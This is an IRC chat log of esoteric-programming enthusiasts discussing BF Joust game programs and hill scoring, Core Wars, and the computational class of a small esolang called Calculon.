11:39:41 <ais523> I'll arbitrarily classify it as a joke
11:40:35 <Deewiant> monorail with slowermonorail, too
11:44:19 <ais523> heh, the two phillips are so close the line linking them disappears behind the axis
11:45:10 <ais523> the clusters correspond to what I'd expect now, I think
11:45:21 <Deewiant> More or less
11:45:25 <ais523> we have defence programs in green, split into shudder-based and lock-based
11:45:30 <Deewiant> I'm a bit surprised to see maglev next to wireless
11:45:39 <Deewiant> But not very
11:45:49 <ais523> although red also contains some nonstandard defence programs
11:46:07 <ais523> cyan can be thought of as the category of "inconsistent attackers"
11:46:10 <Deewiant> maglev's just so much faster that I'd expect it to differentiate more
11:46:27 <ais523> then purple for more typical slow attackers
11:46:37 <ais523> gold for turtles
11:46:46 <ais523> I'm not entirely sure how to describe the black category, but it's a little small anyway
11:46:53 <Deewiant> monorail is hardly slow IMO :-P
11:46:56 <ais523> perhaps try on a more recent hill, where I think there's more programs that would fall into that category?
11:47:11 <fizzie> ais523: The two philips have, in fact, exactly identical results against all non-philips in this run. (Disclaimer: these have been processed by cranklance, which might have some bugs; and the hill is from 2011-02-12.)
11:47:17 <fizzie> Maybe I should fetch a new one.
11:47:50 <ais523> haha, double_tripwire_avoider's in fifth place with a negative points total?
11:47:53 <Deewiant> Fetch the one where pendolino wasn't ranked below any program it beat: I liked that one
11:48:13 <ais523> also, looks like defend7 finally fell off the hill
11:49:07 <Deewiant> I suspect impomatic's messing-around is to blame for i_like_turtles jumping up to third place
11:50:19 <Deewiant> ais523: You think Text belongs under "languages which make it easy to write programs used as typical examples"?
11:50:27 <Deewiant> After all, it's all about quines
11:50:43 <ais523> perhaps, but it certainly belongs under the "unusable for programming" category
11:50:52 <ais523> which is likely the largest category of jokes
11:50:54 <Deewiant> Well, don't they all
11:51:00 <Deewiant> HQ9+ is also unusable
11:53:23 <ais523> yep
11:53:35 <ais523> oerjan's HQ9+ variant is defined to be TC
11:53:54 <ais523> but that's a joke in its own right, because being TC /by definition/ doesn't give you any clue in how to actually program in it
11:54:07 <Deewiant> HQ9+B? :-P
11:55:14 <fizzie> http://zem.fi/~fis/clust3.png -- new hill.
11:55:52 <Deewiant> The philips remain identical
11:57:27 <ais523> I like that clustering algo
11:57:33 <ais523> I think it's identifying strategies quite well
11:58:06 <Deewiant> fizzie: Can you draw it rotated 90 degrees counterclockwise? Would make it easier to read :-P
11:58:21 <fizzie> Deewiant: Good point.
11:58:23 <Deewiant> Or clockwise, whatever
12:02:12 <fizzie> http://zem.fi/~fis/clust4.png
12:02:21 <fizzie> The font size refuses to adjust for some reason.
12:02:22 <Deewiant> Sweet, thanks
12:02:38 <Deewiant> A bit of cutoff on the right edge, doesn't matter though
12:03:13 <fizzie> Yes, and the names are a bit crowded; I tried to set leaf_font_size, but it doesn't want to change for some reason.
12:03:26 <Deewiant> ais523: Did you remove definder or did it fall off?
12:03:38 <ais523> fell off
12:03:44 <Deewiant> Darn
12:04:04 <ais523> definder is basically definder2 before it was tweaked to beat turtles and defenders
12:04:17 <Deewiant> Aye
12:04:19 <ais523> and there are enough turtles and defenders on the hill that definder2 did much better
12:05:43 <fizzie> The philips aren't identical in report.txt, so it might be a cranklance issue. (Same goes for venusaur/changelink.)
12:08:26 <ais523> I'm actually a little surprised at impomatic using Pokémon names for programs
12:09:13 -!- augur has quit (Remote host closed the connection).
12:12:57 -!- impomatic has joined.
12:13:44 <impomatic> Another esolang deleted from wikipedia http://en.wikipedia.org/wiki/Taxi_Programming_Language
12:15:23 <fizzie> ais523: You're not the only one. <quintopia> you must love pokemanz <impomatic> Not really. I'm stuck for names!
12:15:39 <impomatic> :-)
12:15:59 <ais523> impomatic: that probably makes sense, Taxi is not massively notable, nor does it meet Wikipedia's standards for verifiability
12:16:07 <fizzie> That was a coincidentally timed /join. (Was up in the backscroll pasting that.)
12:16:12 -!- SimonRC has quit (Ping timeout: 255 seconds).
12:16:23 <ais523> well, there were 493 Pokémon for ages, and a new batch have been added recently
12:16:35 <ais523> but most of the new ones don't have English
12:16:46 -!- SimonRC has joined.
12:16:53 <ais523> (I used to play Pokémon competitively, but the recent rule changes have meant I've lost track)
12:16:58 <impomatic> I was just reading about Joy, Factor, Alice, Pure, Einstein and other languages being up for deletion :-(
12:18:06 <impomatic> ais523: I used to play, but no-one to play with now... I still play MTG though :-)
12:18:28 -!- asiekierka has joined.
12:18:44 <ais523> impomatic: which version?
12:19:26 <impomatic> I didn't know there are different versions!
12:20:02 <ais523> oh, console game or card game?
12:20:14 <ais523> I play the console game, which is rather different
12:20:25 <ais523> (the card game has different versions too by now, though, trying to keep up with the console version)
12:34:59 -!- copumpkin has quit (Ping timeout: 246 seconds).
12:40:38 -!- augur has joined.
12:47:09 -!- augur has quit (Remote host closed the connection).
12:47:48 -!- augur has joined.
12:48:05 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
12:50:03 -!- poiuy_qwert has joined.
12:51:20 -!- azaq23 has joined.
12:51:40 -!- azaq23 has quit (Client Quit).
13:03:01 -!- Sgeo has quit (Ping timeout: 260 seconds).
13:06:20 -!- ais523_ has joined.
13:08:27 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
13:10:06 -!- poiuy_qwert has joined.
13:10:10 <Gregor> <fizzie> Gregor: In the score computation, is there a deep, underlying reason why the worth of a program is (points+N)/(M*2) when points has the range [-M, M] thus giving 'worth' values in [1/(M*2), 1+1/(M*2)]? A naive person such as I would think either (points+M)/(M*2) (to get worths of [0, 1]) or (points+N)/(M+N) (to get [1/(M+N), 1]) would make more sense. // I just didn't want any zero-worth programs.
13:10:35 <fizzie> But now you get more-than-one worth.
13:10:51 <fizzie> You'd get "from small value to 1" with (points+N)/(M+N).
13:10:57 <Gregor> fizzie: If the program has more-than-one worth, by definition you're not getting those points.
13:11:36 <fizzie> Okay, there is that.
13:12:04 <fizzie> It is very friendly of you to not make anyone worthless.
13:12:47 <Gregor> This means that beating the lowest-ranked program isn't entirely valueless, and beating a program that beats everything EXCEPT for you gives you maximum bang for your buck.
13:14:40 -!- Mathnerd314 has quit (Ping timeout: 272 seconds).
13:17:19 <Gregor> Note however that this was adapted from the FYB hill scoring system, where you always either win or lose (no range), but I'm FAIRLY certain that all the edge cases are as I expected them to be: For instance, if you beat just enough configurations against the opponent that otherwise wins all other rounds with all other opponents, that competitor will have greater-than-one worth, but you still won't get more than 1 from it.
13:18:32 <Gregor> Nowait, I shouldn't think in the morning, it won't have greater than one worth X-P
13:22:09 <fizzie> Yes, I guess it works; if you beat more than a half of the otherwise-wins-everything program, it can't get a positive point contribution from the match against you.
13:23:06 <Gregor> In retrospect I'm pretty sure I carefully arranged it to behave this way, I wanted maximum worth from a program that beats everything but you, but non-zero worth from a program that loses to everything.
13:26:17 <Gregor> !bfjoust brian_doesnt_know_what_hes_doing >(+)*128<(-)*100000
13:26:56 <ais523_> I thought *100000 was bugged in egojoust? or did you fix that?
13:27:08 <Gregor> *-1 is "bugged" in egojoust
13:27:17 <Gregor> In that it does 10K instead of 100K.
13:28:14 <EgoBot> Score for Gregor_brian_doesnt_know_what_hes_doing: 20.8
13:28:26 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
13:28:30 <ais523_> what's with the fake flag there?
13:28:55 <Gregor> I didn't write this, I'm submitting it on behalf of a friend who I'm trying to cajole into playing :P
13:29:07 <Gregor> I guess he doesn't realize that setting something exactly to a flag isn't very valuable.
13:30:05 -!- poiuy_qwert has joined.
13:32:17 -!- MUILTFN has joined.
13:41:33 -!- sftp has joined.
13:48:26 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
13:49:21 -!- MUILTFN has quit.
13:50:05 -!- poiuy_qwert has joined.
14:02:20 -!- poiuy_qwert has quit (Read error: Operation timed out).
14:10:04 -!- poiuy_qwert has joined.
14:17:05 -!- BeholdMyGlory has joined.
14:30:05 -!- poiuy_qwert has quit (Ping timeout: 264 seconds).
14:39:05 -!- Slereah has joined.
14:40:25 -!- Phantom_Hoover has joined.
14:43:39 <Phantom_Hoover> Hello.
14:50:49 -!- Sgeo has joined.
14:56:19 <Sgeo> I am beginning to believe that Core Wars is dead
14:56:46 -!- augur has quit (Ping timeout: 255 seconds).
14:56:58 <Phantom_Hoover> It was hit by a core clear.
14:58:36 -!- augur has joined.
15:05:40 * Sgeo thwacks Phantom_Hoover with a DAT 0 0
15:05:58 <Phantom_Hoover> DAT #0, #0, you fool!
15:06:31 <Sgeo> DAT 0, 0 should work just as well
15:07:59 -!- augur has quit (Ping timeout: 272 seconds).
15:09:26 <Gregor> BF Joust is better than corewars :P
15:10:32 <Phantom_Hoover> http://en.wikipedia.org/wiki/Chav
15:10:35 <Phantom_Hoover> :D
15:10:41 -!- Phantom_Hoover has quit (Remote host closed the connection).
15:11:01 -!- augur has joined.
15:11:09 -!- Slereah has quit (Ping timeout: 240 seconds).
15:15:54 -!- MigoMipo has joined.
15:16:15 -!- Slereah has joined.
15:22:52 <ais523_> hmm, putting address format modifiers on DAT potentially makes sense
15:22:57 <ais523_> in case the DAT gets overwritten
15:31:43 <Gregor> (BF Joust is still better)
15:39:10 <Sgeo> Can you overwrite just the command part without overwriting A and B?
15:40:36 <ais523_> I think so, although I'm not sure
15:40:47 <ais523_> I'm far from a Core Wars expert
15:41:22 <ais523_> BF Joust has a lower barrier to entry, though, which is definitely an improvement
16:10:43 -!- augur has quit (Remote host closed the connection).
16:21:35 -!- augur has joined.
16:22:19 -!- Grulf has joined.
16:23:03 <Grulf> hiya :D
16:23:20 <Grulf> oh noes, wheres oerjan
16:23:24 <Grulf> my hero
16:23:26 <Grulf> D:
16:23:51 <Grulf> i find it quite funny to write an article and ~9 months later google it just to find an irc log of people talking about it
16:23:55 <Grulf> and thats why im here.
16:23:56 <ais523_> he turns up every now and then
16:23:58 <Grulf> hell yeah.
16:24:06 <ais523_> also, which article?
16:24:16 <ais523_> reading old logs is a common pastime here, perhaps we'll discuss it again sometime
16:24:28 <Grulf> http://www.esolangs.org/w/index.php?title=Calculon some crappy experiment :P
16:25:13 <Grulf> http://webcache.googleusercontent.com/search?q=cache:VoAfPEO6xmUJ:codu.org/projects/trac/esotericlogs/changeset/87%253A876d6344dfac+calculon+esolang&cd=2&hl=de&ct=clnk&gl=de&client=firefox-a&source=www.google.de heres the log
16:25:19 <ais523_> hmm, I should probably put that in categories
16:25:43 <ais523_> and is that a Google cache of an hg repo entry? that's a nicely roundabout way to get to it
16:26:01 <ais523_> hey, what happened to Herobrine?
16:26:11 <ais523_> (we have two logbots, clog and Herobrine; one of them seems down at the moment)
16:26:50 <ais523_> let's see... Calculon looks like a push-down automaton
16:27:19 <ais523_> unless it allows bignums for numbers, in which case it's Turing-complete by simulating a Minsky machine
16:27:39 <Grulf> im not sure i understand :P
16:27:40 <ais523_> actually, hmm, maybe not
16:27:51 <Grulf> the interpreter written in ruby should do that though
16:27:53 <ais523_> Grulf: some languages are more powerful than others, in terms of what you can theoretically write in them
16:28:01 <Grulf> hmm.
16:28:02 <ais523_> and there are a few standard classes of langauges
16:28:06 <ais523_> *languages
16:28:28 <ais523_> what does division do if the result isn't an integer?
16:28:36 <ais523_> just store it as floating-point?
16:28:39 <Grulf> i dont remember
16:28:43 <Grulf> i bet it crashes though
16:28:45 <Grulf> :D
16:29:10 <Grulf> i thought about making a little game with a language similar to that
16:29:21 <ais523_> I can't figure out if that language is push-down, Turing complete, or uncomputable
16:29:33 <Grulf> i could look for the source
16:29:38 <Grulf> i bet its somewhere
16:29:46 <ais523_> I fear it might be simultaneously uncomputable and sub-TC, which would be kind-of impressive
16:30:00 <ais523_> although sqrt might not be enough to make equality undecidable
16:30:22 <ais523_> source would be nice
16:30:29 <ais523_> the lang needs categorising, too, I'll do that
16:30:36 <Grulf> thanks :p
16:30:49 <Grulf> postfix notation is the easiest
16:31:15 <Grulf> id like to write a parser that uses normal one, but that seems really complicated
16:31:21 <ais523_> what year did you first publically release details about the lang?
16:31:25 <ais523_> with that Esolang article?
16:31:47 <Grulf> ill know when i look at the date of the source file, but i think i wrote it right after that :P
16:32:04 <ais523_> well, privately working on something doesn't count because it's too hard to tell
16:32:11 <ais523_> so it looks like 2010
16:32:27 <Grulf> oh, what year
16:32:33 <Grulf> yep definately :P
16:33:38 <Grulf> http://pastebin.com/CPSJykX0 D:
16:33:40 <ais523_> and listed now; I hadn't seen it earlier because it wasn't on the list
16:34:18 <ais523_> that doesn't look much like Ruby...
16:34:24 <Grulf> i redid it in c++
16:34:24 <ais523_> in fact, it looks suspiciously like C++
16:34:31 <ais523_> ah
16:34:33 <Grulf> but somethings wrong, it look incomplete
16:34:49 <Grulf> maybe i was too stupid to do the conditions stuff in c++
16:34:53 <ais523_> well, with double-precision floats, it's definitely just a push-down automaton
16:35:17 <Grulf> ah no, cond is hardcoded
16:35:27 <ais523_> http://www.esolangs.org/wiki/Push-down_automaton for an explanation
16:36:58 -!- Sgeo has quit (Read error: Connection reset by peer).
16:37:01 <Grulf> "By the same token, there are certain strings which push-down automata are incapable of recognizing, such as anbncn (that is, a number of a's, followed by the same number of b's followed by the same number of c's.) " huh? what does that mean?
16:37:34 <ais523_> say you have a language with input, like Calculon
16:37:38 -!- Sgeo has joined.
16:37:49 <ais523_> (Calculon takes only numbers as input, so we'll use 1, 2, 3 rather than a, b, c)
16:38:18 <ais523_> now, you want to write a Calculon program which produces different output from an input that consists of n 1s, then n 2s, then n 3s, from anything else
16:38:39 <ais523_> you can't do it, because eventually your double-precision floating point values will run out of precision and be unable to count accurately
16:39:04 <ais523_> (that is, for sufficiently high floating point numbers x, x+1 == x because it's a change too small to fit into the mantissa bits)
16:40:35 <Grulf> why would precision problems only go for pdas?
16:40:43 <Grulf> i dont quite get it :/
16:41:21 <ais523_> I mean, the precision problem is why you can't just store a counter that counts the number of 1s/2s/3s
16:41:24 <ais523_> and compare to see if they're equal
16:41:37 <ais523_> because if you have sufficiently many of them, the counter won't quite be able to tell if they're equal or not
16:42:16 <Sgeo> ". BF Joust seemed like it might be a more accessible version of Core Wars, but I see it's much too susceptible to stupid tricks, and there's only one winning strategy (set decoys, race to the right side of the map, methodically zero every cell in order from left to right). The only variation comes in modifying that strategy."
16:42:40 <Sgeo> http://www.retroprogramming.com/2009/02/bf-joust-hill.html
16:42:50 <ais523_> if you had bignums, you could do that, although Calculon doesn't have a swap-top-two-stack-elements instruction, nor an obvious way to do modulo, so it'd be interesting to figure out what the computational class of bignum Calculon would be (and likewise, if it's restricted to integers)
16:43:00 <ais523_> Sgeo: that was BF Joust 1, which was indeed mostly broken like that
16:43:21 <ais523_> although there are nonetheless a few tricks that can be accomplished in it
16:43:46 <ais523_> the more recent BF Joust specifications avoid those issues
16:45:27 <Grulf> hmm
16:45:27 -!- asiekierka has quit (Ping timeout: 246 seconds).
16:46:35 <Grulf> java has bignums \o/
16:46:36 <myndzi> |
16:46:36 <myndzi> >\
16:47:24 <ais523_> most langs do
16:47:27 <ais523_> although generally not by default
16:47:40 <ais523_> in C and C++, you need a library to provide bignums (GMP is a common choice)
16:48:58 <Grulf> im afraid of installing libraries :P
16:49:08 <Grulf> well also i wanna learn java
16:49:40 <ais523_> Java's mostly about the libraries, really; but most of the important ones come with the interpreter
16:54:11 <Grulf> i thought about making a game with robots on a grid
16:54:13 <Grulf> D:
16:54:22 <Grulf> each robot executes his program and does stuff
16:54:31 <Grulf> what the stuff is about i am still not quite too sure
16:54:45 <Grulf> but he might shoot lasers and collect metal.
16:55:37 <Grulf> any suggestions?
16:56:20 <ais523_> there have been a few games like that in the past
16:56:32 <ais523_> I'd suggest asking impomatic, who's an expert on that sort of thing
16:56:36 <ais523_> but he doesn't seem to be here at the moment
16:56:53 <Grulf> hmm :D
16:57:01 -!- iamcal has quit.
16:57:33 <Grulf> i think i know how to do it, just need a few more ideas to make it worth playing around with it a bit
16:58:33 <ais523_> I'm going to change connection, I'll be back in a bit
16:58:39 <Grulf> kkay
16:58:39 -!- ais523_ has quit (Quit: Page closed).
17:02:09 <ais523> back
17:03:30 -!- Sgeo has quit (Ping timeout: 240 seconds).
17:12:04 <Grulf> wb :D
17:13:31 -!- pikhq has joined.
17:13:57 -!- pikhq_ has quit (Ping timeout: 272 seconds).
17:15:20 -!- zzo38 has joined.
17:18:50 <zzo38> DVI format for printed pages is not bad. Why is it not commonly used?
17:20:05 <ais523> I think because DVI readers aren't generally installed on Windows
17:20:08 <ais523> whereas PDF readers are common
17:20:36 <ais523> Microsoft tried to invent their own format as a rival to PDF, and it didn't catch on, likely for the same reason (most people couldn't use it)
17:22:20 <Gregor> I made a version of egojsout that displays an animation of the progress of the tape cells instead of the cycle-by-cycle breakdown.
17:22:22 <Gregor> Pretty pointless.
17:22:41 <ais523> could be fun to watch, though
17:22:49 <ais523> especially if you color the cells by value
17:22:58 <zzo38> There is program convert DVI to PCL. When printing stuff at FreeGeek, that is what I use.
17:23:12 <ais523> have 128/-128 as white, 0 as black, positive numbers in between as shades of red, negative numbers in between as shades of blue
17:23:15 <ais523> so as to form a continuous cycle
17:23:39 <Gregor> ais523: Roughly that turned out not to be so good as 1 wasn't distinct at all.
17:23:49 <Gregor> So instead I made all non-flag non-zero cells full blue.
17:23:54 <ais523> you could have a jump near 0
17:24:05 <Gregor> Yeah, I considered that, but I'm lazy :)
17:24:18 <zzo38> What if you could make it show a longer line for different number?
17:24:46 <Gregor> Ohhh, that's brilliant
17:27:24 <Gregor> 8-D
17:27:26 <Gregor> zzo38: Thanks 8-D
17:30:35 <Gregor> http://codu.org/eso/bfjoust/egojsout/anim/egojsout.html Enjoy
17:32:44 -!- asiekierka has joined.
17:43:46 <ais523> animated egojsout seems to really lag firefox
17:44:00 <ais523> upon loading the programs from the list
17:48:02 <ais523> !bfjoust speedy3 >>>>>>>>(>[-[++[+.++.]]])*21
17:48:19 -!- pikhq_ has joined.
17:48:19 <ais523> !bfjoust speedy3 >>>>>>>>(>[-[++[+.++]]])*21
17:48:21 <ais523> whoops
17:48:35 -!- pikhq has quit (Ping timeout: 264 seconds).
17:50:00 <EgoBot> Score for ais523_speedy3: 36.8
17:50:00 <EgoBot> Score for ais523_speedy3: 36.8
17:50:06 <ais523> not bad
17:54:12 <Grulf> woot, a bot :D
17:54:22 <Grulf> well, /me diappears, gaming
17:54:25 <Grulf> see you later
17:54:28 <Grulf> :D
17:54:30 -!- cal153 has joined.
17:54:31 -!- Grulf has quit (Quit: ChatZilla 0.9.86 [Firefox 3.6.13/20101203075014]).
17:54:33 -!- cal153 has quit (Remote host closed the connection).
17:54:44 -!- cheater00 has quit (Ping timeout: 240 seconds).
17:55:50 -!- cheater00 has joined.
17:57:51 -!- asiekierka has quit (Ping timeout: 241 seconds).
18:01:12 -!- cal153 has joined.
18:07:26 <ais523> !bfjoust let_sleeping_tripwires_lie >>>>>>>>(>[-[++[(>[-])*20]-(>[-[++[(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]-(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]+(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19])*20]+(>[-[++[(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]-(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]+(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19])*20])*21
18:08:06 <EgoBot> Score for ais523_let_sleeping_tripwires_lie: 15.4
18:08:13 <ais523> take /that/, space_elevator
18:09:00 <ais523> (pity it doesn't really beat anything else, but the general idea counters the whole strategy moderately well; I haven't taken it through to its logical conclusion as the line would become far too long)
18:12:05 -!- elliott has joined.
18:12:09 <ais523> hi elliott
18:12:16 <elliott> wow, fast
18:12:24 <elliott> Gregor hasn't written egojoust2 while I was gone? :)
18:12:31 <ais523> I was waiting for firefox to unfreeze
18:12:40 <ais523> he wrote egojsout 2 instead, well an animated version
18:12:45 <ais523> which is less useful, but prettier
18:12:54 <elliott> hmm, is the old version still available?
18:13:39 <elliott> I see no animation
18:13:44 <elliott> and i hard refreshed
18:13:56 <quintopia> gregor: i was considering making a colored animation like that
18:14:06 <elliott> 02:08:05 <elliott> 01:42:57 <Patashu> (wins-losses)/number of characters in source
18:14:06 <elliott> 02:08:09 • elliott quit (Remote host closed the connection) (~elliott@unaffiliated/elliott)
18:14:06 <elliott> 02:08:20 <quintopia> wtf
18:14:06 <elliott> 02:08:25 <quintopia> that kid...
18:14:07 <ais523> the old version's still at its old URL
18:14:08 <elliott> argh it got cut off
18:14:15 <elliott> quintopia: it ended with patashu saying that it would be the end of defend* programs
18:14:15 <ais523> http://codu.org/eso/bfjoust/egojsout/anim/egojsout.html is the new one
18:14:19 <elliott> and i commented that,
18:14:26 <elliott> quintopia: space_elevator would get 0.0000000000001 with that metric :)
18:14:37 <elliott> evidently my client disconnected before i finished pasting and talking :(
18:14:47 <quintopia> gregor: the color scheme i decided would work best is balck for zero, and for all other values, the color wheel as it would look if zero were read
18:14:51 <quintopia> *red
18:14:53 <elliott> ais523: wow, that is pretty
18:14:56 <elliott> although the colours suck
18:15:11 <ais523> I pasted a program that beat space_elevator reasonably convincingly just before you joined
18:15:13 <ais523> but loses to most other things
18:15:18 <elliott> ais523: submit it to the hill
18:15:23 <ais523> (it wasn't specific targeting, but rather strategy countering)
18:15:28 <ais523> I did, it didn't do well
18:15:44 <elliott> I would call this egojsout anim, not egojsout 2 :P
18:15:51 <ais523> well, perhaps
18:16:00 <quintopia> Gregor: and therefore flags start out green like in egojsout, assuming you use the subtractive color wheel
18:16:00 <elliott> it's rather useless, just pretty
18:16:08 <elliott> quintopia: what are you talking about
18:16:45 <elliott> ais523: what do you think of interior_crocodile_alligator? it has multiple syntax errors :)
18:16:50 <elliott> but beats defend13, defend14, space_elevator...
18:16:55 <ais523> I haven't looked at it yet
18:17:00 <elliott> (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20[-[++[(-)*128([-{([+{[-]}])%64}])%64]]]
18:17:11 <ais523> is it simply designed to beat big complex programs? (and does it beat definder2?)
18:17:17 <elliott> IIRC yep, it does
18:17:22 <elliott> ais523: it's defined to beat space_elevator
18:17:27 <elliott> ais523: after quintopia started beating anti_space_elevator
18:17:35 <elliott> ais523: turns out it's not a terrible program, but it only has like 30 score
18:17:35 <ais523> let_sleeping_tripwires_lie works by detecting probable reverse tripwires and putting them back again once it's passed them
18:17:39 <elliott> because it does badly on most programs
18:17:52 <ais523> and that reminds me a bit of cheese and the programs along those lines
18:17:59 <ais523> which reverse direction after a while to utterly confuse defenders
18:18:12 <elliott> ais523: yeah, that's the main thing it does, confuse
18:18:21 <elliott> everything eventually decides it's running at a certain speed
18:18:25 <elliott> and then it switches
18:18:28 <ais523> counterdefence is relatively easy to write
18:18:36 <elliott> ais523: space_elevator isn't defence
18:18:39 <elliott> it's hybrid
18:18:53 <ais523> indeed
18:19:00 <elliott> usually counter-defence loses against it because it's too slow
18:19:01 <ais523> it goes into defence mode if the tripwires near its flag are disturbed
18:19:22 <ais523> in fact, I thought of writing a fast counter-defender just now, let me try it
18:19:38 <ais523> !bfjoust fast_rush_slow_clear >>>>>>>>(>[+++++[-.]])*21
18:19:47 <elliott> "9 BAJILLION POINTS
18:19:50 <EgoBot> Score for ais523_fast_rush_slow_clear: 31.9
18:19:52 <elliott> Pos ID Score Points Program
18:19:52 <elliott> 1 44 65.72 29.81 quintopia_space_elevator.bfjoust
18:19:55 <elliott> wow, that's insanely good
18:20:17 <ais523> FRSC doesn't seem too bad on the current hill, actually
18:20:18 <elliott> 30 25 29.62 -11.88 elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo.bfjoust
18:20:18 <elliott> 31 24 29.47 -5.74 elliott_interior_crocodile_alligator.bfjoust
18:20:18 <elliott> How did my stupid joke variation on crocodile go above it with many less points...
18:20:25 <elliott> *POINTS"
18:20:43 <elliott> !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo <
18:20:58 <elliott> ais523: is defend12 new?
18:21:02 <EgoBot> Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 0.0
18:21:02 <elliott> I haven't seen it before
18:21:05 <ais523> nah, it's been around for ages
18:21:11 <ais523> it's defend13 minus the counterdefence
18:21:19 <ais523> i.e. defend12 : defend13 :: definder : definder2
18:21:21 <elliott> !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo (>)*9(([(-)*64.[(+)*65.{[-.]}]])%5>)*20(-)*128
18:21:25 <elliott> (it made ICA's score drop)
18:21:26 <EgoBot> Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 26.9
18:21:28 <elliott> (removing it)
18:21:34 <elliott> argh
18:21:38 <elliott> the rankings aren't the same after adding it
18:21:45 <elliott> that's ridiculous
18:21:52 <elliott> the hill is broken
18:22:22 <quintopia> no
18:22:27 <ais523> the hill probably isn't the same after removing and readding it
18:22:32 <quintopia> ^
18:22:32 <ais523> because one of my programs got culled in between
18:22:36 <elliott> oh, right
18:22:37 <ais523> heh, FRSC beats space_elevator on all combos but length 30
18:22:50 <elliott> ais523: that's usually because of an off-by-one
18:22:58 <elliott> hmm, but not in your case seemingly
18:23:05 <quintopia> i redid the special case for that length
18:23:07 <ais523> it isn't, it's to do with tripwire count versus offset clear
18:23:14 <quintopia> to be as efficient as possiblr
18:23:28 <elliott> As efficient as possiblr!
18:23:29 <ais523> ah no
18:23:35 <ais523> you always attack on length 30
18:23:49 <ais523> on the basis that it's obviously the actual flag if you reach that point and don't die
18:23:54 <ais523> so I can't trick you into defending
18:23:59 <quintopia> you can
18:24:04 <quintopia> just put a small decoy
18:24:05 <ais523> without setting a decoy
18:24:07 <ais523> !bfjoust fast_rush_slow_clear >+>>>>>>>(>[+++++[-.]])*21
18:24:12 <ais523> yep, I had that change planned already
18:24:12 <EgoBot> Score for ais523_fast_rush_slow_clear: 31.3
18:24:34 <elliott> ais523: watching interior_crocodile_alligator in egojsout anim is fun
18:24:38 <ais523> the decoy actually makes it worse, though
18:24:42 <ais523> !bfjoust fast_rush_slow_clear >>>>>>>>(>[+++++[-.]])*21
18:24:45 <elliott> you can see how it just clears cells in the craziest way possible
18:24:46 <ais523> at least versus space_station
18:24:46 <quintopia> interest
18:24:49 <ais523> because then it loses on short tapes
18:25:16 <EgoBot> Score for ais523_fast_rush_slow_clear: 30.7
18:25:18 <elliott> space_station?
18:25:24 <ais523> makes it better overall, though
18:25:28 <elliott> space_station?
18:25:30 <ais523> elliott: or whatever quintopia's uberprogram is called
18:25:35 <elliott> space_elevator
18:25:36 <ais523> ah, space_elevator
18:25:39 <elliott> dibs on _station though
18:25:47 <quintopia> haha
18:26:00 <elliott> heh, wtf @ poke v s. ICA
18:26:01 <elliott> *vs.
18:27:08 <quintopia> ais523: tell Gregor about my color scheme idea for the animation when he comes around
18:27:19 <ais523> quintopia: he won't listen to reason on colors
18:27:23 <elliott> what ais523 said :D
18:27:33 <elliott> ais523: I was thinking about generating a mega-program myself, but it'd be very complicated
18:27:50 <quintopia> he already said he didn't like 1 being indistinct and my solution fixes that!
18:28:08 <ais523> interior_crocodile_alligator can be improved massively by making it approximately 2^256 times as long
18:28:18 <elliott> 02:22:16 <quintopia> but isn't it the "let's only reward them and never punish them!" mentality that keeps it from being fixed-point iterable?
18:28:19 <elliott> THE SAD STATE OF MODERN PARENTING
18:28:26 <elliott> ais523: be my guest, you can use ()% to do exponential programs
18:28:30 <elliott> although on egojoust that would be dumb
18:28:35 <elliott> also, they have to be of a certain structure I think
18:28:40 <elliott> ais523: what would the massive improvement be?
18:28:54 <elliott> 02:25:53 <quintopia> i have good news though! the canonical shudder program has been pushed off the board tonight!
18:28:55 <elliott> which
18:28:56 <elliott> wiggle3?
18:29:16 <ais523> nah, wiggle3's still there
18:29:18 <ais523> but it isn't a shudder program
18:29:22 <ais523> just a varying-attack program
18:29:23 <elliott> BUT IT SOUNDS LIKE ONE
18:29:53 <quintopia> ais523: is it worth it? saccharin_philip's strategy is pretty much unbeatable by space_elevator at offset sizes large enough to be useful
18:30:04 <elliott> <ais523> interior_crocodile_alligator can be improved massively by making it approximately 2^256 times as long
18:30:04 <elliott> how?
18:30:18 <elliott> roconnor: hey, where did you come from :)
18:30:22 <elliott> did augur mention us again in #haskell?
18:30:23 <ais523> elliott: by avoiding the ]]]]]]] chains by instead duplicating the whole of the rest of the program just before them
18:30:35 <elliott> ais523: the ]]]]] chains are part of its power
18:30:42 <elliott> ais523: it means it waits for an unpredictable length of time before moving on
18:30:54 <ais523> hmm...
18:31:43 <elliott> 03:38:40 • Error: Connection reset by peer
18:31:44 <elliott> 03:38:40 • Stopped logging.
18:31:44 <elliott> 03:38:40 • Waiting 5 seconds...
18:31:44 <elliott> 03:38:45 • Started logging.
18:31:44 <elliott> 03:38:50 • Herobrine joined (~Herobrine@208.78.103.223)
18:31:49 <elliott> good to know Herobrine's error recovery works
18:31:57 <ais523> Herobrine isn't actually here
18:32:05 <elliott> oh dear!
18:32:12 <elliott> I wonder why
18:32:28 <ais523> elliott: you're sounding like you removed it deliberately, now
18:32:34 <elliott> ais523: no, i really didn't
18:32:36 <roconnor> elliott: it's copumpkin's fault
18:32:47 <elliott> roconnor: we haven't got around to banning him yet. all in good time
18:32:58 <roconnor> better do it quick
18:33:20 <elliott> roconnor: uh oh, what happened, did he invite #ubuntu?
18:33:36 <roconnor> he might
18:33:40 <roconnor> better to be safe
18:33:50 <ais523> I don't see anything wrong with newbies joining...
18:34:01 <ais523> although elliott has a rather low tolerance for people he or she dislikes
18:34:09 <elliott> "he or she"
18:34:15 <elliott> I love your obsession with gender-neutral pronouns
18:34:18 -!- Sgeo has joined.
18:34:21 <elliott> also, it's not that they're newbies
18:34:28 <elliott> it's just that copumpkin is a very suspicious man.
